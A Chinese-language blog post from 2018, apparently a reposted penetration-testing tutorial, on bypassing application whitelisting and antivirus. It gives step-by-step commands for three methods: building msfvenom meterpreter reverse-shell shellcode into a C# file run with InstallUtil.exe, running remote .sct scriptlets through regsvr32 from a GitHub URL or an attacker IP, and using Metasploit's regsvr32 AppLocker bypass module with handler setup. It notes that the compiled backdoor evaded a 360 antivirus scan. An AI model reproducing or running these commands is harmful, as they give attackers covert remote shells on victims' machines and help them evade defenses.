繞過應用程式白名單技巧

FLy_鵬程萬里發表於2018-06-04

在內網滲透中,經常會在內網主機執行執行的滲透工具的時候出現執行不起來的情況,很多時候是由與安全軟體做了白名單限制,只允許指定的白名單中的應用程式啟動,這時我們就需要利用白名單中的程式做我們想做的事情,執行我們想要執行的程式,下面就給大家分享幾個繞過白名單執行應用程式的姿勢。

一、通過 csharp 編譯檔案繞過防病毒軟體

1、下載 CSharp 檔案

wget http://tinyurl.com/InstallUtil-ShellCode-cs


2、使用 msfvenom 生成一個 msf 的 csharp 格式的 shellcode:

msfvenom-p windows / meterpreter / reverse_tcp lhost = YOUR_IP lport = 443 -fcsharp> shellcode.txt


3、在 InstallUtil-ShellCode.cs 檔案中,您將注意到程式碼中有兩個功能

先從 main 函式的執行命令列中寫入顯示提示資訊,當使用 InstallUtil.exe 工具執行程式時,將執行名為 Uninstall 函式(橙色框中的程式碼)的中程式碼的功能。

installUtil.exe 通常位於受信任的應用程式列表中,可能會繞過某些應用程式白名單軟體。

Uninstall 函式中的程式碼將呼叫 Shellcode 函式,這是我們的巢狀惡意繞過防病毒的 shellcode 程式碼。



4、下面是需要替換的 shellcode 程式碼位置


5、在 geeeratewith metasploit 下面將 msf 生成的 shllcode.txt 的程式碼複製替換


6、需要修改其中的程式碼,將 buf 變數修改成 shellcode 並儲存檔案


7、使用 csc.exe 工具編譯修改後的 InstallUtil-ShellCode-cs 檔案

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:exeshell.exe  InstallUtil-ShellCode.cs


8、在 msf 下生成監聽 shell:

use multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 10.0.0.86

set LPORT 444

set ExitOnSession false

run -j


9、在目標受害者機器上通過 InstallUtil.exe 工具執行我們編譯的後門檔案 exeshell.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe/logfile= /LogToConsole=false /U exeshell.exe


10、在 kali 下可以看到成功獲得目標主機的 shell:

此時通過 360 進行查殺未發現有病毒:



二、通過 sct 遠端執行繞過防病毒

1、遠端執行的 sct ( payload.sct ) 檔案程式碼如下:


2、在目標受害者機器上遠端執行:

這裡前提需要將 pentestab.exe 檔案上傳到目標主機 C 盤下或者其他位置,其他位置需要更改 payload.sct 程式碼:

regsvr32/u /n /s /i: https://raw.githubusercontent.com/backlion/demo/master/payload.sct scrobj.dll


也可以本地執行:

regsvr32/u /n /s /i:payload.sct scrobj.dll


3、由於 pentestlab3 是 Metasploit 的有效載荷,所以 Meterpreter 會話將被開啟:



三、msf 下生成模組生成 sct 繞過防病毒

1、在 msf 上生成 sct 監聽反彈 shell

msf>useexploit/windows/misc/regsvr32_applocker_bypass_server

msf>show  options

msf>setlhost 10.0.0.86

msf>set  lport 6666



2、在目標受害者主機上執行以下命令:

regsvr32/s /n /u /i:http://10.0.0.86:8080/q0Nqdxa4iKkeNXB.sct scrobj.dll


3、在 msf 即可看到反彈 shell:



總結

這裡的幾種方式都是用來應對防病毒軟體採用軟體白名單的方式拒絕惡意軟體的執行,通過一些預設放行的白名單系統應用程式啟動我們構造好的惡意程式或者 payload 來繞過防病毒軟體的白名單限制,這裡只討論技術的學習,請不要用來做違法的事情,歡迎大家投稿一起分享在滲透測試中應用的各種姿勢,各種技術的安全原理等。

相關文章